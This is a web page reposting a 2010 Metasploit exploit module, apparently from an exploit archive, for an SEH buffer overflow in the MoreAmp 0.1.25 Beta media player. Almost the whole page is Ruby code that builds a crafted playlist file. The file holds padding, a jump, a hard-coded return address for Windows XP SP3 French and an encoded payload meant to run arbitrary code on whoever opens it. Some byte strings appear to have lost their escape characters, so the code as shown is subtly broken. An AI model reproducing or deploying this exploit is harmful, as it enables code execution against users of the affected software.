Home / os / win7

MoreAmp SEH Buffer Overflow (meta)

Posted on 17 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>MoreAmp SEH Buffer Overflow (meta)</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================== MoreAmp SEH Buffer Overflow (meta) ================================== #MoreAmp Seh Buffer Overflow (meta) #Greetz:His0k4 , Bibi-info , Volc4n0 #sec4ever.com require 'msf/core' class Metasploit3 &lt; Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' =&gt; 'MoreAmp 0.1.25 Beta Buffer Overflow (SEH)', 'Description' =&gt; %q{ This module exploits a SEH overflow in 0.1.25 MoreAmp Beta By creating a specially crafted .m3u file, an an attacker may be able to execute arbitrary code. }, 'License' =&gt; MSF_LICENSE, 'Author' =&gt; 'MadjiX', 'Version' =&gt; 'Version 1', 'References' =&gt; [ [ 'OSVDB', '65789' ], [ 'URL', 'http://www.exploit-db.com/exploits/13942/' ], ], 'DefaultOptions' =&gt; { 'EXITFUNC' =&gt; 'process', }, 'Payload' =&gt; { 'Space' =&gt; 1400, 'BadChars' =&gt; &quot;x00x20x0ax0d&quot;, 'StackAdjustment' =&gt; -3500, }, 'Platform' =&gt; 'win', 'Targets' =&gt; [ [ 'Windows XP SP3 Fr', { 'Ret' =&gt; 0x7C86467B} ], # 0x7C86467B jmp esp kernel.32 ], 'Privileged' =&gt; false, 'DisclosureDate' =&gt; '17-07-2010', 'DefaultTarget' =&gt; 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'MadjiX.maf']), ], self.class) end def exploit sploit = rand_text_alphanumeric(108) sploit &lt;&lt; &quot;xebx06x90x90&quot; sploit &lt;&lt; [target.ret].pack('V') sploit &lt;&lt; payload.encoded sploit &lt;&lt; rand_text_alphanumeric(400 - payload.encoded.length) maffile = sploit print_status(&quot;Creating '#{datastore['FILENAME']}' file ...&quot;) file_create(maffile) end end # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-17]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP